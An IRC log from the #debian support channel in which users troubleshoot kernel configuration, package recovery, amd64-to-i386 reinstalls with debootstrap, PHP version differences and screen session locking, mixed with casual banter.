| 08:33.07 | Gokee2 | Or a little script but that overkill :) |
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| 08:33.38 | nhuisman | yeah i don't want to write a perl script just for this |
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| 08:34.22 | cydork | nhuisman: hmm or you can check grep -v -f file1 file2 |
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| 08:34.46 | sakitram | HI during Kernel compilation, I get the following error for "make xconfig". "qconf: cannot connect to X server", "make[1]: *** [xconfig] Error 1" What to do? |
| 08:34.51 | claudio` | hey |
| 08:35.01 | Guerin | sakitram: never use xconfig |
| 08:35.10 | Guerin | use menuconfig like a sane person |
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| 08:35.31 | ameyer | I'd guess sakitram doesn't even have X running |
| 08:35.36 | evadave | sakitram: thats not working because it cannot connect to your display. Are you running it as root inside a non-root X ? |
| 08:35.42 | Guerin | or better yet, use a debian kernel, and if you MUST build your own, /msg dpkg kp mantra |
| 08:35.57 | ameyer | or at least is compiling in a session that's not in X |
| 08:36.16 | claudio` | Hey guys (operator), RemoTe is a pr0n bot. I get an on-join message by setting nickserv unfiltered on. |
| 08:36.19 | Guerin | or screen(1) or similar is preventing it |
| 08:36.44 | Guerin | !ops RemoTe spambot |
| 08:36.44 | dpkg | Hydroxide, bob2, caphuso, dondelelcaro, doogie, eeyore-, ElectricElf, ):, helix, ljlane, LoRez, RichiH, mentor, Netsnipe, TML, walters, xk, gravity, azeem, Maulkin, stew, peterS, Alife, Myon, Ganneff, Maulkin, weasel, zobel: guerin complains about: RemoTe spambot |
| 08:37.00 | sakitram | Guerin: but "meke menuconfig" worked. Thanks to you all. Bye |
| 08:37.01 | torrr | I get error when trying to install cvs |
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| 08:37.07 | torrr | install: invalid group `src' |
| 08:37.16 | torrr | ??? |
| 08:37.20 | Guerin | torrr: how are you installing? |
| 08:37.32 | torrr | Guerin, synaptic |
| 08:37.44 | geo-rge | claudio`: yuou can do !ops RemoTe onjoin spammer |
| 08:37.45 | |bb7| | why is the ramdisk on some debians called "tmpfs" and on others "devshm" ? |
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| 08:38.11 | claudio` | !ops RemoTe onjoin spammer |
| 08:38.11 | dpkg | Hydroxide, bob2, caphuso, dondelelcaro, doogie, eeyore-, ElectricElf, ):, helix, ljlane, LoRez, RichiH, mentor, Netsnipe, TML, walters, xk, gravity, azeem, Maulkin, stew, peterS, Alife, Myon, Ganneff, Maulkin, weasel, zobel: claudio` complains about: RemoTe onjoin spammer |
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| 08:38.42 | claudio` | geo-rge: then? ;) |
| 08:38.50 | geo-rge | now! |
| 08:39.09 | ameyer | aww, I could use some pr0n spam |
| 08:39.32 | ameyer | just as I was about to test claudio`'s assertion that remote is a pr0nspam bot |
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| 08:39.55 | claudio` | mmh |
| 08:39.58 | Guerin | torrr: what branch of debian? |
| 08:39.58 | torrr | Unpacking cvs (from .../cvs_1%3a1.12.13-8_i386.deb) |
| 08:40.08 | torrr | etch |
| 08:40.27 | Guerin | torrr: funky. |
| 08:40.41 | geo-rge | ameyer: J J Fish has big Pr0ns! they in oakland and hayward! |
| 08:40.41 | |bb7| | why is the ramdisk on some debians called "tmpfs" and on others "devshm" ? |
| 08:41.19 | ameyer | geo-rge: heh |
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| 08:41.38 | geo-rge | they;'re good too... greasy tho |
| 08:41.49 | erpo | What's the command to find out which process is using my USB stick so I can kill it and umount? :/ |
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| 08:42.27 | et | erpo: lsof |
| 08:42.45 | ameyer | lsof | grep /path/to/where/the/usbdisk/is/mounted |
| 08:42.52 | ameyer | might need some escaping though |
| 08:43.00 | geo-rge | so... can I get out of my amd64 arch slowly? or do I have to do it all at once? |
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| 08:44.47 | niru | hi geo-rge |
| 08:44.50 | niru | r u there |
| 08:45.02 | geo-rge | |bb7|: I guess it depends on what the installer wrote into the /etc/fstab |
| 08:45.07 | misreckoning | I have a strange problem, seems like that both cores of my Turion X2 run at 50% all the time :/ |
| 08:45.19 | geo-rge | yeah... but I'm getting ready possibly to reinstall |
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| 08:45.44 | geo-rge | I'm definitely goign to reinstall |
| 08:45.46 | misreckoning | why and how can I fix it |
| 08:45.47 | ameyer | I think you can't go between amd64 and i386 without a reinstall |
| 08:46.10 | geo-rge | I can keep my /home tho |
| 08:46.15 | ameyer | but you should be able to keep /home and /etc and other config stuff |
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| 08:46.36 | geo-rge | good idea, I'll back it up |
| 08:46.50 | gcosmin | when I plugin my headphone its like noting happened, I can hear my muzic on my speackers but not on my headphones |
| 08:47.01 | gcosmin | any ideas? |
| 08:47.08 | ameyer | although /home probably has a vast majority of the custom config |
| 08:47.15 | misreckoning | gcosmin: sounds like a hardware error |
| 08:47.26 | gcosmin | I'm on my laptop |
| 08:47.39 | gcosmin | on XP is no problem at all |
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| 08:47.59 | misreckoning | strange ... |
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| 08:48.46 | et | gcosmin: some cards have separate mixers for speakers/headphones |
| 08:48.57 | et | gcosmin: use alsamixer and have a look |
| 08:49.28 | gcosmin | on my alsamixer i have onli Master and PCM |
| 08:49.39 | gkiagia | gcosmin: I have seen this on a friend's laptop. Seems like the driver needs to trigger some switch when headphones are connected. |
| 08:49.47 | torrr | why does it thinks my cvs is src group? |
| 08:49.53 | gkiagia | gcosmin: maybe try with a newer alsa or kernel |
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| 08:50.41 | erpo | lsof and fuser report no processes using the USB stick. |
| 08:50.47 | gcosmin | I have last kernel |
| 08:51.10 | gcosmin | but I hope in future I will solve things out |
| 08:51.22 | gkiagia | gcosmin: 2.6.23-rc9 ?? |
| 08:51.35 | gcosmin | so weird |
| 08:51.45 | svecias | Could someone post me update-rc.d file content in private query or pastebin? |
| 08:51.58 | gcosmin | gkiagia, huh, no |
| 08:52.27 | mentor | svecias: reinstall the package? |
| 08:52.36 | svecias | I can't |
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| 08:52.47 | svecias | dpkg fucked up because of not finding that file |
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| 08:53.05 | mentor | svecias: Use dpkg-deb to retrieve it from the /deb file |
| 08:53.11 | mentor | find /update-rc.d$ |
| 08:53.26 | mnguyen | So I've been using pfSense for my routing firewall, NAT and QoS, but I was curious, is there a program I can install on debian which will allow me to easily manipulate the iptables, setup QoS, etc.? |
| 08:53.33 | mentor | !find /update-rc.d$ |
| 08:53.39 | dpkg | Debian Search of '/update-rc.d' (2): (/usr/share/sysvinit/update-rc.d) in admin/sysvinit ;; (/usr/sbin/update-rc.d) in admin/file-rc,admin/sysv-rc. |
| 08:53.40 | geo-rge | thereyago |
| 08:53.42 | svecias | mentor there isn't such a file |
| 08:53.50 | svecias | I already searched for it |
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| 08:54.00 | geo-rge | see above |
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| 08:54.09 | mentor | svecias: Well, download the deb from a mirror. |
| 08:54.11 | appelza | <PROTECTED> |
| 08:54.23 | mentor | svecias: apt-cache show will give you the relativ epath |
| 08:54.44 | svecias | But I can't install packages |
| 08:54.45 | geo-rge | appelza: info bash |
| 08:55.01 | geo-rge | svecias: correction, you can't apt-get them |
| 08:55.13 | svecias | I can't install it with dpkg |
| 08:55.17 | geo-rge | svecias: you can install them with dpkg |
| 08:55.24 | geo-rge | you can install that one |
| 08:55.25 | geo-rge | try. |
| 08:55.44 | svecias | dpkg: `update-rc.d' not found on PATH. |
| 08:55.45 | svecias | dpkg: 1 expected program(s) not found on PATH. |
| 08:55.56 | geo-rge | when you did exactly what? |
| 08:56.10 | svecias | I ereased sysv-rc |
| 08:56.26 | mentor | svecias: I think using dpkg-deb to get the file out of the archive is the quickest solution in this case |
| 08:56.26 | svecias | That's the point :) |
| 08:56.37 | svecias | ok |
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| 08:57.17 | geo-rge | is the downloading of debs by apt-get factored from the installing in this same way? |
| 08:57.36 | geo-rge | such that dep problems would not prevent downloading? |
| 08:57.46 | mentor | Use wget |
| 08:57.50 | mentor | Or lynx |
| 08:57.54 | Guerin | aptitude download |
| 08:57.55 | mentor | Or curl |
| 08:58.18 | mentor | or apt-get -d |
| 08:58.38 | mentor | or look in /var/cache/apt/archive |
| 08:58.45 | Guerin | or netcat |
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| 08:59.15 | mentor | Might have to do some post processing on that though |
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| 08:59.48 | geo-rge | can I do a 0-floppy etch install? I have a bootable hd and a /boot with about 200mb free |
| 09:00.13 | mentor | geo-rge: debootstrap? |
| 09:00.25 | L0cKn | Ohiiii :( |
| 09:00.26 | L0cKn | :°°°°°°°°° |
| 09:00.35 | L0cKn | I've problems :/ |
| 09:00.37 | FordCortina | im trying set my adjfile to UTC, but i think debian is changing it back to LOCAL. my hwclock is set to UTC. how do i tell debian this? |
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| 09:01.29 | geo-rge | mentor: I want to replace the amd64 system on the same partitions with a different system... if I debootstrap then I guess I could do that twice |
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| 09:02.27 | geo-rge | first onto a scratch lvm / with that /boot then from the scratch onto the real partitions |
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| 09:03.00 | geo-rge | !tz |
| 09:03.00 | dpkg | hmm... tz is defined in /etc/default/rcS to fix that annoying warning message output by hwclockfirst.sh if your /usr is not on the root filesystem |
| 09:03.33 | FalscherHase | hi all. i have borrowed a DV camera. but they only gave me USB cable and i don't have a firewire cable at hand. what now? can i somehow get the recoreded material over usb? |
| 09:03.38 | L0cKn | big problems, I cannot install Debian from CD1 (Lenny) because: if i boot the cd with enter (without other options) my usb keyboard doesn't works.. If i add "irqpoll" option all ok, but my sata dvd-rom doesn't come recognized..The installer says -> insert a floppy disk for the drivers..How can i resolve this? :/ (Sorry for my english, i'm only 14) |
| 09:04.07 | geo-rge | FalscherHase: does the camera have usb |
| 09:04.10 | geo-rge | if no |
| 09:04.19 | geo-rge | go back, get the right cable |
| 09:04.21 | FalscherHase | geo-rge: yes |
| 09:04.48 | geo-rge | read the camera manual about how to use the usb |
| 09:04.50 | FalscherHase | geo-rge: well, i'm going to get a firewire cable later today :) |
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| 09:06.06 | FalscherHase | geo-rge: it has a driver CD for windows... |
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| 09:06.26 | AVRS | hi |
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| 09:06.34 | jli | hi guys. i'm trying to compile the latest php version and ./configure bails out with notice about iconv. i've got two libiconv-hook* installed in my system but it looks like these packages are not what php is looking for. are there iconv packages for lenny at all? |
| 09:07.05 | AVRS | jli: does it have debian/rules? |
| 09:07.14 | gcosmin | gkiagia, what shoud i have in sources.list to can get 2.6.23-rc9 ? |
| 09:07.16 | AVRS | Maybe it would help, if it's there |
| 09:07.45 | jli | AVRS, sorry, I don't really get the meaning of your phrase :) |
| 09:07.59 | AVRS | jli: have you ever built Debian packages? |
| 09:07.59 | jli | you refer to libiconv-hook* ? |
| 09:08.10 | jli | AVRS, not yet |
| 09:08.24 | AVRS | jli: look into the PHP source, is there a "debian" directory with a "rules" file in it? |
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| 09:08.47 | gkiagia | gcosmin: sorry, but I don't think there is a debian package for 2.6.23-rc9. Either build it yourself or wait a few weeks for the official 2.6.23 to enter in unstable |
| 09:08.47 | jli | ok, hold on.. |
| 09:09.30 | jli | AVRS, find php-5.2.4/ -name debian returns nothing |
| 09:09.41 | AVRS | jli: ok, never mind then |
| 09:10.30 | jli | is libiconv-hook* just the same as libiconv-x.x.x.tar.gz? |
| 09:10.32 | AVRS | jli: debian/rules is a script that helps building a package, probably also tracks dependencies... I don't really know myself, have been checking its internals and probably the Debian FAQ every time :) |
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| 09:12.40 | geo-rge | jli: there's lots of better out there than php btw... |
| 09:12.56 | geo-rge | and some even start with p |
| 09:13.11 | geo-rge | perl python |
| 09:13.13 | jli | and I dare to say its either perl or python! |
| 09:13.17 | jli | i know |
| 09:13.23 | jli | but I have to deal w/ php right now |
| 09:13.28 | geo-rge | oh ok |
| 09:13.46 | geo-rge | can php talk to pg? |
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| 09:14.24 | AbsintheSyringe | I have both gnome and kde, but my default DE is kde, is there any way I can put all gnome applications under "gnome" in k menu |
| 09:14.36 | AbsintheSyringe | I think I actually saw this on unstable or something ... |
| 09:14.44 | jli | AbsintheSyringe, use menu edit tool |
| 09:14.50 | themill | geo-rge: package php5-pgsql |
| 09:14.58 | jli | AbsintheSyringe, it's right there in KMenu |
| 09:15.07 | geo-rge | oh ok... |
| 09:15.12 | jli | AbsintheSyringe, Settings, Menu Editor |
| 09:15.17 | AbsintheSyringe | jli, yea that's what I started doing, and then thought something could do it automatically for me |
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| 09:15.38 | jli | AbsintheSyringe, some sort of scrit should help :) |
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| 09:15.57 | AbsintheSyringe | jli, yea ... :) |
| 09:17.48 | AVRS | jli: or maybe it's much easier to use debian/rules this way ;) http://www.debian.org/doc/manuals/debian-faq/ch-pkg_basics.en.html#s-sourcebuild |
| 09:18.08 | geo-rge | themill: is there anything like a connection pool for that? |
| 09:19.23 | themill | geo-rge: I've never used it so I can't really help you, but this *might* be informative: http://php.net/function.pg-connect |
| 09:19.53 | geo-rge | ok, just that I'm about to delve into phpland |
| 09:20.09 | themill | geo-rge: you poor thing. You have my deepest sympathy. |
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| 09:20.19 | geo-rge | I"m pretty sure I'll be drowning soon... |
| 09:21.05 | geo-rge | the main thing is I have no idea what I'm in for... ok I have some abstract ideas... |
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| 09:21.32 | themill | geo-rge: if you can, my suggestion would be to write PHP5 only code and do it with as many warnings etc turned on as possible. (In the same way that you only write perl5 code without thinking about perl4 compatability these days and you always use strict and have -w turned on ;) |
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| 09:22.45 | themill | geo-rge: there's an awful lot of very very low quality code out there that you can copy from if you want ideas on how to code certain things... |
| 09:22.49 | geo-rge | if they run php4, how would that affect the chances the code would work? |
| 09:23.25 | themill | geo-rge: for anything more complicated that <?php echo "Hello World!"; ?>, the code for php4 and php5 are incompatible. |
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| 09:23.57 | geo-rge | then I probasbly shouldn't write php5 code if they run php4... |
| 09:24.01 | ribasushi | hi |
| 09:24.01 | themill | geo-rge: but php4 is a dead duck. It won't release in lenny and upstream is stopping support of it at the end of the year (I think) |
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| 09:25.21 | geo-rge | I'll pass that info along... |
| 09:25.40 | themill | geo-rge: if you use php4 syntax but write php5-style code you can get it to work. You will just need to ignore some extra warnings that php5 will spit and be really careful about how you use references to objects. |
| 09:25.55 | ribasushi | I am trying to create an initrd with dmcrypt support |
| 09:26.04 | ribasushi | and I keep failing miserably |
| 09:26.12 | geo-rge | objects... I haven't even gotten there yet |
| 09:26.14 | ribasushi | reinstalled initramfs, installed latest debian official kernel |
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| 09:26.37 | ribasushi | it just barfs with a bunch of modules.dep not found messages and stops righ there |
| 09:26.38 | themill | geo-rge: The biggest catch that I've found was the change from = as assign-by-value and = as assign-by-reference which changed between php4 and 5. |
| 09:26.42 | ribasushi | any hints? |
| 09:26.47 | geo-rge | btw if they use apache, how would we accomplish a unit testing? |
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| 09:27.09 | geo-rge | themill: ohh man |
| 09:27.18 | geo-rge | that is -bad- |
| 09:27.29 | themill | geo-rge: yeah... that was when I realised that php was a mickey mouse language.... |
| 09:27.53 | geo-rge | nope, the mickey mouse language is disney squeak |
| 09:27.55 | ribasushi | mickey mouse language - got to writ this one down |
| 09:28.21 | geo-rge | and the truth is, squeak is worth a look |
| 09:28.35 | themill | geo-rge: actually, the php4 usage was rather random too.... there were certain situations where an object variable could transform itself into a reference to an object and then you couldn't clone it (easily). |
| 09:29.01 | geo-rge | I -really- hope they don't use objects yet |
| 09:29.16 | Grandie | Can anyone tell me if there is a secure way of locking a screen? |
| 09:29.27 | Guerin | unplug the input devices |
| 09:29.32 | geo-rge | you need a padlock |
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| 09:29.41 | Guerin | and put epoxy in the ports |
| 09:29.45 | Grandie | Is screen lockable some way guys? |
| 09:29.50 | Grandie | With a password |
| 09:29.53 | DustyBin | put the screen in another room and lock the door |
| 09:29.54 | geo-rge | oh, and a clasp to lock the padlock to |
| 09:29.56 | Guerin | depends what you meen by `screen' |
| 09:30.07 | Guerin | screen(1) is, but not very securely |
| 09:30.10 | Grandie | screen the bash cmd line tool |
| 09:30.10 | geo-rge | and oh yes, a door to put the clasp on so you have something to lock |
| 09:30.14 | Grandie | Guerin: how? |
| 09:30.19 | Grandie | and what's wrong with it? |
| 09:30.32 | Guerin | ^X i think |
| 09:30.46 | Grandie | ^X ? |
| 09:30.49 | Grandie | how does that work? |
| 09:31.00 | Guerin | it's not secure because detaching and re-taching breaks the lock |
| 09:31.31 | Guerin | Grandie: are you referring to the same screen as I am? |
| 09:31.31 | Grandie | That's just Ctrl+A - D |
| 09:31.34 | Grandie | and screen -r |
| 09:31.35 | geo-rge | so it's not a lock in the "don't open this door" sense |
| 09:31.37 | Grandie | yea |
| 09:31.38 | Guerin | yes, quite |
| 09:31.41 | Grandie | yea.. |
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| 09:31.42 | Grandie | oh crap.. |
| 09:31.47 | Guerin | that's the only lock of which I'm aware |
| 09:31.53 | Grandie | hmm |
| 09:32.01 | Guerin | there are various screensavers and virtual console locking apps which do it though |
| 09:32.07 | Guerin | but it isn't the same |
| 09:32.20 | Grandie | can you tell something abou the last category? |
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| 09:33.10 | themill | geo-rge: heh... I do have a 25kloc php project that does run under both php4 and php5. So it is doable, it can just be a lot of work. Most of it was cleanly done, but there are a couple of places where I've had to either use a conditional-include based on php version or an eval to create some code. Ugly, but effective. |
| 09:33.24 | Guerin | not much to tell |
| 09:33.37 | Guerin | you tell it to lock and it locks. You enter your password and it unlocks. |
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| 09:34.17 | Grandie | Guerin: is root then able to unlock it some way? |
| 09:34.30 | Guerin | dunno, i don't use 'em |
| 09:34.35 | Grandie | Anyone else knows/ |
| 09:34.40 | Guerin | i trust my wife, and she knows most of my passwords anyway |
| 09:35.14 | Grandie | hehe same here :p |
| 09:35.23 | nhuisman | there's your first mistake :P |
| 09:35.42 | fengor | iirc vlock (console locker) could only be unlocked by the user |
| 09:35.52 | nhuisman | Grandie: you can lock it with your screen saver password |
| 09:35.58 | nhuisman | if you are talking about gnome or kde |
| 09:36.03 | Grandie | no im not m8 |
| 09:36.08 | Grandie | just bash remote shell |
| 09:36.15 | nhuisman | so a terminal? |
| 09:36.17 | nhuisman | window that is |
| 09:36.20 | Guerin | oh, a remote shell won't be locked by a console lock |
| 09:36.35 | nhuisman | i dunno why don't you just log out? |
| 09:36.41 | Grandie | when I log out |
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| 09:36.48 | Grandie | the root is able to screen -r anyway? |
| 09:36.58 | nhuisman | i meant from the remote box |
| 09:37.11 | Grandie | no, i need to have certain process on 24/7 |
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| 09:37.22 | themill | geo-rge: also, for unit testing, i've got no experience, but have heaerd food things about http://phpunit.sourceforge.net/ and http://www.lastcraft.com/simple_test.php |
| 09:37.41 | nhuisman | so this box runs on your box and you don't want your wife to accidentally turn it off? |
| 09:37.47 | nhuisman | first box = process |
| 09:38.10 | themill | geo-rge: One final tip, the wiki at http://www.phpwact.org/ is a good resource for many things. |
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| 09:38.42 | Grandie | nhuisman: this process runs on a bought shell |
| 09:38.56 | Grandie | nhuisman: I don't wanna have the risk the admin looks what i'm doing |
| 09:39.03 | nhuisman | hmm |
| 09:39.13 | nhuisman | admins on the remote box right? |
| 09:39.17 | Grandie | nhuisman: it's nothing illegal or so if you might think that |
| 09:39.20 | Grandie | just work stuff |
| 09:39.25 | Grandie | yea |
| 09:39.34 | nhuisman | well if it's run remotely how are they going to look at it? |
| 09:39.41 | nhuisman | if you bg the process |
| 09:39.41 | Grandie | they == root |
| 09:39.45 | Grandie | screen -r some way? |
| 09:40.15 | Grandie | if they retach my screen some way |
| 09:40.21 | Guerin | if they're root, they can do all and see all |
| 09:40.40 | nhuisman | yeah you're kind of screwed in that respect |
| 09:40.44 | Guerin | give up trying to fight it |
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| 09:40.57 | Grandie | hmmz ok |
| 09:41.10 | nhuisman | do you have to run it in screen? |
| 09:41.15 | Grandie | well now i don't know how big the risk is a prof shell provider looks into their clients private details |
| 09:41.21 | Grandie | no not really |
| 09:41.22 | nhuisman | you could just run the process under your user and log out |
| 09:41.31 | Guerin | Grandie: it's not a risk, it's a certainty. |
| 09:41.48 | Grandie | If I don't run in a screen |
| 09:41.50 | geo-rge | if I'm going to make a i386 install, can I temporarily use the amd64 kernel while I decide what kernel to install? |
| 09:41.53 | Grandie | they're unable to see it? |
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| 09:42.03 | nhuisman | they can see what the process is called |
| 09:42.09 | Grandie | yea thats np |
| 09:42.12 | nhuisman | so they could go run it themselves |
| 09:42.15 | Grandie | but not the process itself? |
| 09:42.25 | nhuisman | no it's not going to be displayed on their screen |
| 09:42.25 | Grandie | nah thats np its passwd auth anyway |
| 09:42.28 | Grandie | ok |
| 09:42.40 | Grandie | will then connect to my own dedicated root first |
| 09:42.43 | nhuisman | what does this app do? |
| 09:42.43 | Grandie | run screne |
| 09:42.47 | Grandie | and connect to shell |
| 09:42.50 | geo-rge | if they have clever setups or are clever in other ways they will be able to see you |
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| 09:43.11 | Grandie | log output from a chatserver |
| 09:43.12 | nhuisman | yeah i mean they can redirect all the screen output that you see right to their log file |
| 09:43.30 | Grandie | Any idea if all shellhosters do that? |
| 09:43.35 | nhuisman | so you are running a chatserver? |
| 09:43.45 | nhuisman | or just logging one |
| 09:43.47 | geo-rge | all of them -can- do that |
| 09:43.52 | valdyn | Grandie: this is about _can_, not _do_ |
| 09:44.02 | Grandie | -can- != -will- |
| 09:44.03 | Grandie | hehe |
| 09:44.03 | Grandie | well |
| 09:44.10 | nhuisman | i mean what kind of sensitive information is in this log |
| 09:44.11 | geo-rge | but "kick the do!" doesn't make sense! |
| 09:44.23 | Grandie | just information considering dev projects |
| 09:44.25 | valdyn | Grandie: you want to ask your lawyer about this kind of stuff, not us |
| 09:44.29 | Guerin | those who can, do - those who can't, sue? |
| 09:44.31 | nhuisman | if it's work stuff, run it on a private work box |
| 09:44.33 | nhuisman | seems liek to me |
| 09:44.36 | Guerin | valdyn: heh. |
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| 09:44.41 | Grandie | ok ok i know enough |
| 09:44.42 | et | which packages contain the libc manual pages? i installed glibc-doc and glibc-doc-reference but man doesn't find the pages :/ |
| 09:44.59 | nhuisman | your work doesn't have linux boxes? |
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| 09:45.02 | geo-rge | et: info will |
| 09:45.24 | Grandie | Not really atm, but will place some box on a link, np |
| 09:45.30 | valdyn | et: those 2 -doc packages contain what their descriptions sais, nothing else |
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| 09:45.41 | valdyn | et: your manpages are probably in manpages-dev |
| 09:46.06 | nhuisman | Grandie: you could always just start up vmware or something on a d0ze box and run ilnux on it |
| 09:46.19 | Grandie | yea thats also a plan hehe |
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| 09:47.26 | themill | !tell et about gcc-doc |
| 09:47.28 | et | valdyn: thanks |
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| 09:48.25 | et | themill: glibc, not gcc :) |
| 09:48.38 | themill | et: read the factoid again ;) |
| 09:48.41 | geo-rge | will a 386 arch of etch run from an amd64 kernel (which might happen to boot a xen dom0) |
| 09:49.35 | themill | et: people normally ask about those man pages in the context of gcc not glibc which is why it's under the gcc-doc factoid. |
| 09:50.12 | petemc | geo-rge: are you asking can you use a 32bit domU with a 64bit dom0 ? |
| 09:50.25 | geo-rge | no |
| 09:50.45 | petemc | so how does an arch "run" ? |
| 09:50.47 | geo-rge | I'm trying to debootstrap my way back to 32 bit in two stages |
| 09:51.06 | geo-rge | right now I happen to have an amd64 kernel installed |
| 09:51.25 | geo-rge | the lowest kernel I could install is a 686 |
| 09:51.39 | geo-rge | not sure, will an amd64 run that? |
| 09:51.58 | geo-rge | my chip is an amd64x2 |
| 09:52.09 | valdyn | geo-rge: what the hell |
| 09:52.28 | geo-rge | valdyn: I'm the one in hell atm |
| 09:52.38 | valdyn | geo-rge: 'bootstrap my way back in stages' is supposed to mess up what? |
| 09:53.11 | geo-rge | are you going to be helpful? |
| 09:53.31 | nhuisman | is there some clever way to remove X11 and gnome and all the packages that got installed with it? |
| 09:53.48 | geo-rge | I'm overwhelmed enough as it is without a major pressure bearing down |
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| 09:54.13 | valdyn | geo-rge: -686 should run fine on athlon64x2, but you probably want the k7 kernel |
| 09:54.30 | geo-rge | I'm happy to explain to you the situation :) |
| 09:54.43 | geo-rge | but please lighten up... |
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| 09:55.24 | Guerin | nhuisman: diod you install them with aptituide? |
| 09:55.25 | valdyn | geo-rge: i dont know the problem, deboostrap is straightforward and gives a complete system with a kernel and a bootmanager added |
| 09:55.41 | nhuisman | they were sort of included in this base xen enterprise template |
| 09:55.44 | nhuisman | i don't want x |
| 09:55.47 | nhuisman | X11 rather |
| 09:55.53 | nhuisman | i am trying to slim down the template for servers |
| 09:55.55 | valdyn | geo-rge: or 'if you add kernel and bootmanager' to be less ambigous |
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| 09:56.46 | Guerin | nhuisman: jatfq |
| 09:57.00 | Guerin | i know not of this `template' |
| 09:57.01 | valdyn | geo-rge: and the 386 arch runs just fine on any debian amd64 kernel ( -> any kernel where the 32-bit system calls are compiled in ) |
| 09:57.05 | geo-rge | what I need to do, is replace the installation that is on several partitions... so, the first step is to get me off of running from those partitions and onto a scratch partition |
| 09:57.13 | nhuisman | what's that ? |
| 09:57.17 | Guerin | !jatfq |
| 09:57.24 | Guerin | !jatfq nhuisman |
| 09:57.24 | dpkg | nhuisman: Just Answer The Fucking Question |
| 09:57.29 | geo-rge | valdyn: that's good, that's exactly what I want |
| 09:57.39 | nhuisman | ah i'll have to remember that one |
| 09:57.46 | nhuisman | yeah so no, i didn't |
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| 09:58.43 | geo-rge | but the thing is I'm running on these partitions now, so I want to boot from a debootstrapped installiation onto a scratch partition before I clear the partitions which I'm going to use (which are the same ones I'm using now) |
| 09:58.51 | Guerin | nhuisman: then you'll need to go through manually. If you installed it via aptitude or as part of the install/task selection process (which is aptitude now) then it's a matter of removing xorg and some gnome libs |
| 09:59.06 | Guerin | nhuisman: /msg dpkg remove gnome for something to try |
| 09:59.07 | nhuisman | k i'll just sort through the list then |
| 09:59.37 | geo-rge | so the process I'm proposing is: debootstrap onto scratch partition, boot that, clear partitions, mount them, debootstrap onto them, boot. |
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| 09:59.46 | Guerin | nhuisman: also debhelper/debfoster |
| 10:00.04 | valdyn | geo-rge: yea, just watch out that grub is _really_ running from where you think its running |
| 10:00.14 | geo-rge | valdyn: are you following the plan? |
| 10:00.19 | valdyn | geo-rge: because otherwise you will disable it when 'clearing' partitions |
| 10:00.21 | geo-rge | well it's one drive |
| 10:00.31 | geo-rge | oic |
| 10:00.43 | geo-rge | and there's no windows on this disk |
| 10:00.47 | geo-rge | (yet) |
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| 10:01.36 | geo-rge | how can I tell where I put grub? |
| 10:01.57 | geo-rge | I'm pretty sure it' |
| 10:02.00 | geo-rge | s on the mbr |
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| 10:02.04 | valdyn | geo-rge: its always in /boot/grub/, BUT |
| 10:02.07 | geo-rge | but that's a guess |
| 10:02.25 | geo-rge | oic, I was hoping I didn't have to erase /boot |
| 10:02.28 | valdyn | geo-rge: the larger part is in /boot/grub/ |
| 10:02.32 | geo-rge | having said that, I made a backup |
| 10:03.06 | geo-rge | there's about 200mb free on that partition which calls itself /dev/sda1 |
| 10:04.09 | geo-rge | it's a sata drive |
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| 10:05.07 | geo-rge | so do you think I could debootstrap without setting up grub at least initially, then do things like install packages with kernels and editing menu.lst? |
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| 10:05.29 | SlimG2 | Where's the logfile for crontab? |
| 10:05.55 | geo-rge | the other thing I was wondering, is could I boot the i386 arch from an amd64 kernel? |
| 10:06.07 | geo-rge | or would that just fail and die? |
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| 10:06.40 | SlayerXP | geo-rge: would you expect to be able to use a PPC kernel on i386 hardware? |
| 10:07.00 | geo-rge | no but I do have amd64x2 :P |
| 10:07.25 | geo-rge | oh that;s right! that's one of those questions! |
| 10:07.27 | SlayerXP | "i have a whelk, therefore I can make crab soup with it" |
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| 10:09.04 | Haris_ | Hello people |
| 10:09.07 | geo-rge | look, I just want to know if the debian amd64 kernel will work and has support for i386 binaries... I'm often telling helpees "remember we can't see your screen", now I'm remindiung you that you can't see mine nor do you see my intent |
| 10:09.30 | Haris_ | I only have cd1 of etch. How can I have a standard install? Is cd1 alone enough to get the basic OS and some packages installed? |
| 10:09.43 | petemc | Haris_: yes |
| 10:09.45 | geo-rge | having said all that, I'm just fine, you're totally free to just leave me alone |
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| 10:10.14 | geo-rge | on the other hand if you want to be helpful (and only if), you're absolutely welcome to do that as well |
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| 10:10.52 | et | geo-rge: 64bit kernel with 32bit userspace programs works. but when you try to load 32 bit kernel modules (drivers etc), things will break. |
| 10:10.52 | SlayerXP | geo-rge: you're confused about the difference between kernel space and user space. |
| 10:10.52 | petemc | how very gracious.. |
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| 10:12.04 | geo-rge | so I'm hearing you say (especially) that if module loads are involved things could crash fairly badly |
| 10:12.38 | SlayerXP | geo-rge: i'd explain more, but you don't fall into todays "people I will help" category, on the basis that you're not a 6 foot blonde super model with a 36C chest. |
| 10:13.14 | geo-rge | SlayerXP: what the hell are you doing here then?? get down to muscle beach! |
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| 10:13.56 | geo-rge | and I'm very serious when I say this, I hope you find the blonde of your dreams |
| 10:14.35 | SlayerXP | err okay. |
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| 10:15.07 | geo-rge | SlayerXP: but having said that there are not many 6 foot blonde supermodels of any description on any #debian... |
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| 10:15.38 | SlayerXP | geo-rge: how little you know us. |
| 10:16.03 | geo-rge | SlayerXP: so are you telling us that you are a 6 foot blonde supermodel |
| 10:16.31 | geo-rge | then you can tell yourself that you're high maintainance :) |
| 10:16.37 | SlayerXP | geo-rge: on theinternet, yes, yes I am. |
| 10:18.32 | geo-rge | no, but seriously, if you watch Mystery on Conan (maybe youtube will have a copy still), mystery claims that the first thing men must do before they can find their dream girl... is... |
| 10:18.35 | geo-rge | leave the house |
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| 10:19.11 | evadave | Not true, I have a friend who met his wife over the internet |
| 10:19.17 | evadave | and he left the house anyway |
| 10:20.35 | geo-rge | well there is internet opportunities, but he's looking for a specific look, and you're not always going to get that by looking on a chat board |
| 10:20.37 | Dave2 | I've stayed at an IRC friend's a few times, he met his wife on IRC. |
| 10:23.14 | geo-rge | ok, back to me... |
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| 10:24.35 | geo-rge | so a amd64 kernel is not going to be my most useful choice is it, since module loading could be problematic... yes? |
| 10:25.07 | geo-rge | (and also given I'm trying to get back to a 32 bit system) |
| 10:25.10 | Penix | Intel Pro 100 or 3Com 3C905C? anyone care to make some wild allegations against either? guessing they'd offer pretty much the same performance |
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| 10:25.36 | geo-rge | Penix: they are both supported very well |
| 10:25.40 | Penix | yeah |
| 10:25.57 | vaq | What command can i use to see which lib files a program depends on? |
| 10:25.58 | geo-rge | I've used both, they work fine |
| 10:25.59 | Penix | feel like something different. might grab one of each. |
| 10:26.39 | geo-rge | vaq: man ldd |
| 10:27.26 | geo-rge | that's the command you can use to find out how to use the command that checks lib linkage |
